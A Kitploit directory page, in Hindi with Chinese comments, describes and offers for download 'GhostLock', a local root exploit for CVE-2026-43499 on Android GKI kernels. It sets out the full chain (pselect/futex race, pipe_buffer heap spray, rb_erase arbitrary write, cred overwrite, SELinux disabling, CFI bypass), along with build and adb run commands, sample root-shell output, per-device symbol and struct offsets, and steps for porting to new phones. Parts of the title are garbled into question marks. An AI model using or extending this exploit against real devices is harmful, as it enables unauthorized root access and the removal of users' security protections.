Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
GhostLock — CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
उपकरण/GitHubGitHub/wzhdgithub/ghostlock
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगबाइनरी शोषण
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

रिपॉजिटरी देखें
3928 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GhostLock - CVE-2026-43499 स्थानीय विशेषाधिकार वृद्धि शोषण

भेद्यता अवलोकन

CVE आईडी: CVE-2026-43499
भेद्यता प्रकार: futex PI (प्राथमिकता विरासत) स्टैक UAF (Use-After-Free)
प्रभावित दायरा: Linux कर्नेल 6.1 ~ 6.12 (Android GKI)
शोषण परिणाम: स्थानीय विशेषाधिकार वृद्धि + SELinux अक्षम, root शेल प्राप्त करना

कार्य सिद्धांत

भेद्यता ट्रिगर पथ

root@kitploit:~
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入

शोषण श्रृंखला

  1. भेद्यता ट्रिगर: pselect() + futex PI प्रतिस्पर्धा के माध्यम से कर्नेल स्टैक पर rt_mutex_waiter को मुक्त करना
  2. मेमोरी लेआउट नियंत्रण: pipe_buffer से कर्नेल हीप स्प्रे करके नकली rt_mutex_waiter तैयार करना
  3. मनमाना लेखन: rb_erase() के ट्री संचालन का उपयोग करके नियंत्रित पॉइंटर को लक्ष्य पते पर लिखना
  4. विशेषाधिकार वृद्धि पथ:
    • cred संरचना संशोधित करना: uid/gid → 0, capabilities → सभी सक्षम
    • SELinux अक्षम करना: selinux_state.enforcing → 0
  5. सत्यापन: CFI अखंडता की पुष्टि के लिए ashmem_fops को पुनः स्कैन करना

परियोजना संरचना

root@kitploit:~
GhostLock/
├── README.md                    # 本文档
├── src/
│   ├── core/                    # 核心利用代码
│   │   ├── main.c               # 主入口,漏洞触发
│   │   ├── pipe.c               # pipe_buffer 喷射
│   │   ├── fops.c               # 文件操作劫持
│   │   ├── root.c               # 提权 + SELinux 禁用
│   │   ├── slide.c              # 内核地址随机化处理
│   │   ├── util.c               # 工具函数
│   │   ├── miniadb.c            # 迷你 ADB 服务器
│   │   ├── common.h             # 公共定义
│   │   ├── target.h             # 目标配置
│   │   ├── offset.h             # 偏移量包含
│   │   ├── runtime_offsets.h    # 运行时偏移表
│   │   └── kernelsnitch/        # 内核地址探测
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # 设备适配
│       ├── offsets.h            # 偏移量结构定义
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # 辅助工具
│   └── extract_btf.py           # BTF 偏移量提取脚本
├── btf_*.py                     # BTF 分析脚本集合
├── Makefile                     # 构建脚本
├── compile.cmd                  # Windows 编译脚本
├── build.rsp                    # 编译响应文件
└── ghostlock                    # 编译产物(ELF aarch64)

समर्थित डिवाइस

संकलन

पर्यावरण आवश्यकताएँ

  • Android NDK r27c या उच्चतर संस्करण
  • Python 3.x (BTF विश्लेषण के लिए)
  • Linux/macOS/WSL (Linux अनुशंसित)

संकलन चरण

root@kitploit:~
# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. 编译
make

# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Windows संकलन

root@kitploit:~
# 使用提供的 compile.cmd
compile.cmd

उपयोग विधि

पूर्वापेक्षाएँ

  1. फोन पर USB डिबगिंग सक्षम होनी चाहिए
  2. कंप्यूटर पर ADB ड्राइवर स्थापित होना चाहिए
  3. फोन USB के माध्यम से कंप्यूटर से जुड़ा होना चाहिए

चरण

root@kitploit:~
# 1. 确认设备连接
adb devices

# 2. 确认内核版本(必须匹配)
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock

रन आउटपुट उदाहरण

root@kitploit:~
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

सफलता संकेत

  • # प्रॉम्प्ट दिखाई देना (root शेल)
  • id कमांड uid=0(root) दिखाना
  • getenforce Permissive लौटाना

तकनीकी विवरण

कर्नेल मेमोरी लेआउट

root@kitploit:~
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

प्रमुख प्रतीक ऑफसेट (Find X8)

संरचना ऑफसेट (BTF सत्यापन)

शोषण पथ

  1. kernelsnitch - mm_struct का पता लगाने के लिए direct_map क्षेत्र स्कैन करना
  2. pipe spray - मुक्त किए गए waiter मेमोरी पर pipe_buffer से कब्ज़ा करना
  3. pselect trigger - UAF ट्रिगर करना, मुक्त किए गए waiter का पुनः उपयोग करना
  4. rb_erase write - रेड-ब्लैक ट्री संचालन के माध्यम से मनमाना लेखन प्राप्त करना
  5. cred patch - वर्तमान प्रक्रिया के क्रेडेंशियल संशोधित करना
  6. SELinux disable - अनिवार्य अभिगम नियंत्रण अक्षम करना

डिवाइस अनुकूलन

नया डिवाइस जोड़ना

  1. कर्नेल इमेज निकालना:

    root@kitploit:~
    # 从手机提取 boot.img
    adb pull /dev/block/by-name/boot boot.img
    
    # 或者从固件包中提取
    
  2. kallsyms निकालना:

    root@kitploit:~
    # 使用 vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # 选择 "Extract kallsyms" 选项
    
  3. BTF जानकारी निकालना:

    root@kitploit:~
    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. डिवाइस प्रविष्टि बनाना:

    root@kitploit:~
    mkdir -p src/devices/mydevice
    # 复制现有条目作为模板
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # 修改偏移量
    
  5. डिवाइस पंजीकृत करना: src/devices/offsets.h में जोड़ें:

    root@kitploit:~
    #include "mydevice/offsets.h"
    

ऑफसेट प्राप्त करने की विधियाँ

उपकरण स्क्रिप्ट

BTF विश्लेषण स्क्रिप्ट

root@kitploit:~
# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt

# 提取所有关键结构体
python3 btf_structs2.py > structs.txt

# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt

kallsyms निष्कर्षण

root@kitploit:~
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# 或者使用自定义脚本
python3 run_kallsyms_finder.py

सुरक्षा नोट

⚠️ चेतावनी: यह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है। बिना प्राधिकरण के अन्य लोगों के डिवाइस पर उपयोग करना अवैध है।

ज्ञात सीमाएँ

  • USB डिबगिंग सक्षम होना आवश्यक है
  • ADB कनेक्शन आवश्यक है (दूरस्थ शोषण संभव नहीं)
  • कर्नेल संस्करण का सटीक मिलान होना चाहिए
  • कुछ डिवाइसों में अतिरिक्त सुरक्षा तंत्र हो सकते हैं

CFI संरक्षण

यह exploit कर्नेल की Control Flow Integrity (CFI) सुरक्षा को बायपास कर सकता है, जिसके माध्यम से:

  1. ashmem_fops पते की वैधता सत्यापित करना
  2. copy_splice_read को वैध कॉल लक्ष्य के रूप में उपयोग करना
  3. CFI अखंडता की पुष्टि के लिए पुनः स्कैन करना

डिबगिंग

सामान्य समस्याएँ

प्रश्न: "no offsets for kernel: xxx" दिखाई देना उत्तर: कर्नेल संस्करण समर्थित नहीं है, डिवाइस प्रविष्टि जोड़ने की आवश्यकता है

प्रश्न: exploit अटक जाना उत्तर: संभवतः रेस कंडीशन विफल हुई है, कुछ बार पुनः प्रयास करें

प्रश्न: kernel panic उत्पन्न होना उत्तर: संभावना कम है (panic_on_oops सेट नहीं है), लेकिन आप dmesg जाँच सकते हैं

डिबग आउटपुट

root@kitploit:~
# 启用详细输出
adb shell /data/local/tmp/ghostlock -v

# 查看内核日志
adb shell dmesg | tail -50

संबंधित संसाधन

  • CVE-2026-43499 विवरण
  • GhostLock मूल शोध
  • Android GKI कर्नेल

लाइसेंस

यह परियोजना MIT लाइसेंस के अंतर्गत है।

आभार

  • सभी सुरक्षा शोधकर्ताओं के योगदान के लिए धन्यवाद
  • Android सुरक्षा टीम की प्रतिक्रिया के लिए धन्यवाद
  • ओपन सोर्स समुदाय के समर्थन के लिए धन्यवाद

अंतिम अद्यतन: 13 अगस्त 2026
लेखक: wzh
संपर्क: [email protected]

टूल डाउनलोड करें
डिवाइसकर्नेल संस्करणस्थिति
OPPO Find X8 (MT6991)6.6.118-android15✅ अनुकूलित
OnePlus Ace 6T6.1.x✅ सत्यापित
OnePlus 156.1.x✅ सत्यापित
OnePlus Pad 26.1.x✅ सत्यापित
Realme RMX50706.1.x✅ सत्यापित
प्रतीकऑफसेट
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298
संरचनाफ़ील्डऑफसेट
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8
जानकारीस्रोतउपकरण
प्रतीक पताkallsymsvmlinux-to-elf
संरचना ऑफसेटBTFbtf_task2.py
भौतिक मेमोरी लेआउटIKCONFIGextract-ikconfig
कर्नेल संस्करणunameadb shell uname -r